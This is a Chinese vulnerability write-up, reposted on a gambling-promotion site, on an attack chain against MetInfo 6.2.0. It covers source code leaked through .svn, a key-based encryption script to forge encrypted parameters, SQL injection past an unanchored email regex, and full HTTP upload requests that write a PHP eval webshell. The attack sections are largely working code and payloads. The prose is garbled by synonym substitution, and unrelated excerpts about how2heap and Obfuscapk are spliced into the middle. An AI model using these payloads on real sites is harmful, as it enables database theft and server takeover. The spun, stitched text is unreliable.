某info 6.2.0正则婚配不严谨致使注入+getshell组合拳 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

某info 6.2.0正则婚配不严谨致使注入+getshell组合拳

how2heap 题目汇总(上)

好多大佬们都对how2heap这个项目进行了汇总,我就不班门弄斧了,但是同时大佬对一些问题一笔带过,这里就记一下本人在学 how2heap 中的一些有疑问的点,应该具有一定的代表性.大佬可以帮忙挑错,希望和大家一起进步 first_fit 疑问和拓展 我一开始就有疑问,为什么明明是 smallbins 和 largebins 范围内的 chunk ,它直接去 unsortedbins 呢,事实上只要不是 fastbins 范围内

公司做手艺分享,分享了项目中的一个进击metinfo的案例,很有意义的进击链,纪录下。

svn泄漏

svn是一个开放源代码的版本掌握系统,假如在网站中存在.svn目次,那末我们能够拿到网站的源代码,轻易审计。关于svn泄漏须要注重的是SVN 版本 >1.7 时,Seay的东西不能dump源码了。能够用@admintony师傅的脚原本应用 https://github.com/admintony/svnExploit/

在目标站中发现了http://php.local/.svn/目次泄漏源代码,发现是metinfo cms,拿到了位于config/config_safe.php中的key,这个key起到了很大作用。

什么是key呢?为何要有这个key呢?

在metinfo装置完成后,会在config/config_safe.php写入一个key,这个key是用来加密解密账户信息的,你能够在app/system/include/class/auth.class.php看到加解密算法。

能够看到加解密采用了$this->auth_key.$key作为盐值,$key默以为空,那末这个$this->auth_key在哪定义的呢?

config/config.inc.php:109

有了这个key,我们能够本身针对性去加密解密顺序密文。

有什么用呢?大部份的cms都邑有全局参数过滤,而metinfo的全局过滤几乎变态,我们很难直接从request中找到可用的sql注入,而加了密以后的参数一半不会再举行过滤了,我们能够找下可控的加密参数。

正则婚配致使的注入

全局搜刮$auth->decode寻觅可控的参数,并且不走过滤的。

app/system/user/web/getpassword.class.php:93

public function dovalid() {
    global $_M;
    $auth = load::sys_class('auth', 'new');
    $email = $auth->decode($_M['form']['p']);
    if(!is_email($email))$email = '';
    if($email){
        if($_M['form']['password']){
            $user = $this->userclass->get_user_by_email($email);
            if($user){
                if($this->userclass->editor_uesr_password($user['id'],$_M['form']['password'])){
                    okinfo($_M['url']['login'], $_M['word']['modifypasswordsuc']);
                }else{
                    okinfo($_M['url']['login'], $_M['word']['opfail']);
                }
            }else{
                okinfo($_M['url']['login'], $_M['word']['NoidJS']);
            }
        }
        require_once $this->view('app/getpassword_mailset',$this->input);
    }else{
        okinfo($_M['url']['register'], $_M['word']['emailvildtips2']);
    }
}

能够看到$email直接从$_M['form']['p']中经由$auth->decode 解密猎取,并没有举行过滤,然后在get_user_by_email($email)中代入数据库查询。然则经由了is_email($email)推断是不是为准确的邮箱地址。

跟进app/system/include/function/str.func.php:26

function is_email($email){
    $flag = true;
    $patten = '/[\w-]+@[\w-]+\.[a-zA-Z\.]*[a-zA-Z]$/';
    if(preg_match($patten, $email) == 0){
        $flag = false;
    }
    return $flag;
}

很平常的正则表达式,然则唯一缺乏的是^肇端符!那末我们组织如' and 1=1-- 1@qq.com也会返回true!

email要经由$auth->decode解密,这个时刻我们的key就派上用场了,我们能够运用$auth->encode()来加密我们的payload传进去,组成注入。

将auth类本身搞一份出来。

<?php
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){
    $ckey_length = 4;
    $key = md5($key ? $key : UC_KEY);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);
    $result = '';
    $box = range(0, 255);
    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }

    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }

    if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    }else{
        return $keyc.str_replace('=', '', base64_encode($result));
    }
}

print_r(urlencode(authcode($_GET['p'],'ENCODE','cqQWPRhV91To7PmrI5Dd3FGIxjMQpLmt','0')));

须要注重这个123@qq.com是你本身注册的用户,假如met_user表中不存在一条纪录,是延时不了的。

延时胜利,你也能够组织布尔盲注,到此为止就是注入的部份,然则我们的目标是拿权限,一个注入就满足了?

组合拳

app/system/include/class/web.class.php:467 省略部份代码

public function __destruct(){
    global $_M;
    //读取缓冲区数据
    $output = str_replace(array('<!--<!---->','<!---->','<!--fck-->','<!--fck','fck-->','',"\r",substr($admin_url,0,-1)),'',ob_get_contents());
    ob_end_clean();//清空缓冲区
...
    if($_M['form']['html_filename'] && $_M['form']['metinfonow'] == $_M['config']['met_member_force']){
        //静态页
        $filename = urldecode($_M['form']['html_filename']);
        if(stristr(PHP_OS,"WIN")) {
            $filename = @iconv("utf-8", "GBK", $filename);
        }
        if(stristr($filename, '.php')){
            jsoncallback(array('suc'=>0));
        }
        if(file_put_contents(PATH_WEB.$filename, $output)){
            jsoncallback(array('suc'=>1));
        }else{
            jsoncallback(array('suc'=>0));
        }
    }else{
        echo $output;//输出内容
    }
...
}

在前台基类web.class.php中有__destruct把戏要领,而在这个要领中运用file_put_contents(PATH_WEB.$filename, $output写入文件,个中$output是经由过程ob_get_contents()猎取的缓冲区数据,而$filename是从$_M['form']['html_filename']拿出来的,我们可控。

然则有一个if前提$_M['form']['metinfonow'] == $_M['config']['met_member_force'],这个met_member_force在哪呢?在数据库里,我们能够经由过程适才的注入拿到!

apk混淆工具Obfuscapk原理探究

前言 Obfuscapk是一个python实现的apk混淆工具,使用插件系统构建,被设计为模块化且易于扩展。每个obfuscator都是一个从抽象基类(obfuscator_category.py)继承的插件,都实现了obfuscate方法。 使用新的obfuscator对该工具进行扩展非常简单:在src/obfuscapk/obfuscators目录中添加实现混淆技术的源代码和插件元数据文件(obfuscator-name.obfuscator)即可。本文接下

那末我们如今的目标就变成怎样去掌握$output也就是缓冲区的值。

ob_start()在服务器翻开一个缓冲区来保留一切的输出。所以在任何时刻运用echo,输出都将被到场缓冲区中,直到顺序运转完毕或许运用ob_flush()来完毕。

也就是说我们只需找到web.class.php或许继续web.class.php的子类中有可控的echo输出,合营适才的注入便能够写入shell。

全局搜刮extends web寻觅子类,在子类中寻觅可控echo输出,终究找到的是app/system/include/module/uploadify.class.php的doupfile()要领

public function set_upload($info){
    global $_M;
    $this->upfile->set('savepath', $info['savepath']);
    $this->upfile->set('format', $info['format']);
    $this->upfile->set('maxsize', $info['maxsize']);
    $this->upfile->set('is_rename', $info['is_rename']);
    $this->upfile->set('is_overwrite', $info['is_overwrite']);
}
...
public function upload($formname){
    global $_M;
    $back = $this->upfile->upload($formname);
    return $back;
}
...
public function doupfile(){
    global $_M;
    $this->upfile->set_upfile();
    $info['savepath'] = $_M['form']['savepath'];
    $info['format'] = $_M['form']['format'];
    $info['maxsize'] = $_M['form']['maxsize'];
    $info['is_rename'] = $_M['form']['is_rename'];
    $info['is_overwrite'] = $_M['form']['is_overwrite'];
    $this->set_upload($info);
    $back = $this->upload($_M['form']['formname']);
    if($_M['form']['type']==1){
        if($back['error']){
            $back['error'] = $back['errorcode'];
        }else{
            $backs['path'] = $back['path'];

            $backs['append'] = 'false';
            $back = $backs;
        }
    }
    $back['filesize'] =  round(filesize($back['path'])/1024,2);
    echo jsonencode($back);
}
...

echo的$back变量是从$_M['form']['formname']掏出来的,可控,向上推看back变量的取值由$this->upfile->upload($formname)决议,跟进。

public function upload($form = '') {
    global $_M;
    if($form){
        foreach($_FILES as $key => $val){
            if($form == $key){
                $filear = $_FILES[$key];
            }
        }
    }
    if(!$filear){
        foreach($_FILES as $key => $val){
            $filear = $_FILES[$key];
            break;
        }
    }

    //是不是能平常上传
    if(!is_array($filear))$filear['error'] = 4;
    if($filear['error'] != 0 ){
        $errors = array(
            0 => $_M['word']['upfileOver4'],
            1 => $_M['word']['upfileOver'],
            2 => $_M['word']['upfileOver1'],
            3 => $_M['word']['upfileOver2'],
            4 => $_M['word']['upfileOver3'],
            6 => $_M['word']['upfileOver5'],
            7 => $_M['word']['upfileOver5']
        );
        $error_info[]= $errors[$filear['error']] ? $errors[$filear['error']] : $errors[0];
        return $this->error($errors[$filear['error']]);
    }
    ...
    //文件大小是不是准确{}
    if ($filear["size"] > $this->maxsize || $filear["size"] > $_M['config']['met_file_maxsize']*1048576) {
        return $this->error("{$_M['word']['upfileFile']}".$filear["name"]." {$_M['word']['upfileMax']} {$_M['word']['upfileTip1']}");
    }
    //文件后缀是不是为正当后缀
    $this->getext($filear["name"]); //猎取许可的后缀
    if (strtolower($this->ext)=='php'||strtolower($this->ext)=='aspx'||strtolower($this->ext)=='asp'||strtolower($this->ext)=='jsp'||strtolower($this->ext)=='js'||strtolower($this->ext)=='asa') {
        return $this->error($this->ext." {$_M['word']['upfileTip3']}");
    }
    ...
}

省略部份代码

我们要看return归去的值就是back变量的值,所以重点关注return的东西看是不是可控。

首先是平常foreach掏出上传文件的信息,然后推断是不是能平常上传-文件大小是不是准确-文件后缀是不是为正当后缀,假如有错就return。到这里有两种思绪。

超越文件大小getshell

在背景中最大文件大小是8m,假如我们上传一个超越8m的文件,那末upload()函数就会return $this->error("{$_M['word']['upfileFile']}".$filear["name"]." {$_M['word']['upfileMax']} {$_M['word']['upfileTip1']}"); 而这个$filear["name"]是我们可控的,在foreach中赋值的。

那末如许我们就能够把$filear["name"]改成shell,然后return归去,赋值给$back,echo进缓冲区,末了file_put_contents拿到shell,圆满的应用链。

然则这个8m太大了,我们能够经由过程注入进背景把这个限定改成0.0008

组织下payload,须要注重metinfonow参数是上文中从数据库中掏出的met_member_force

POST /admin/index.php?c=uploadify&m=include&a=doupfile&lang=cn&metinfonow=xwtpwmp&html_filename=1.php HTTP/1.1
Host: php.local
Content-Length: 1120
Origin: http://php.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8tQiXReYsQYXHadW
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary8tQiXReYsQYXHadW
Content-Disposition: form-data; name="test"; filename="<?php eval($_POST[1]);?>"
Content-Type: image/jpeg

testtesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttest
------WebKitFormBoundary8tQiXReYsQYXHadW--

无后缀getshell

@mochazz师傅在先知上分享了一篇metinfo6.1.3的getshell,我本身测试在6.2.0中已修复,不过照样提一下。

题目出在 app/system/include/class/upfile.class.php:139 getext()函数

假如不是正当后缀会return $this->error($this->ext." {$_M['word']['upfileTip3']}"),而$this->ext经由getext()函数,跟进

protected function getext($filename) {
    if ($filename == "") {
        return ;
    }
    $ext = explode(".", $filename);
    $ext = $ext[count($ext) - 1];
    return $this->ext = $ext;
}

直接return $ext,那末我们上传一个无后缀的文件,文件名写一句话就能够getshell

payload

POST /admin/index.php?c=uploadify&m=include&a=doupfile&lang=cn&metinfonow=xwtpwmp&html_filename=1.php HTTP/1.1
Host: php.local
Content-Length: 194
Origin: http://php.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8tQiXReYsQYXHadW
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XDEBUG_SESSION=PHPSTORM
Connection: close

------WebKitFormBoundary8tQiXReYsQYXHadW
Content-Disposition: form-data; name="test"; filename="<?php phpinfo();?>"
Content-Type: image/jpeg

test
------WebKitFormBoundary8tQiXReYsQYXHadW--

而在6.2.0中,到场了一行正则推断后缀,绕不过去,没法getshell

protected function getext($filename) {
    if ($filename == "") {
        return ;
    }
    $ext = explode(".", $filename);
    $ext = $ext[count($ext) - 1];
    if (preg_match("/^[0-9a-zA-Z]+$/u", $ext)) {
        return $this->ext = $ext;
    }
    return $this->ext = '';
}

总结

  1. svn泄漏分版本
  2. 注册是邮件的正则婚配题目
  3. 参数加密平常不走全局过滤 找找注入
  4. 关注echo和ob_get_contents()函数 说不定能写shell呢

 


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明某info 6.2.0正则婚配不严谨致使注入+getshell组合拳
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址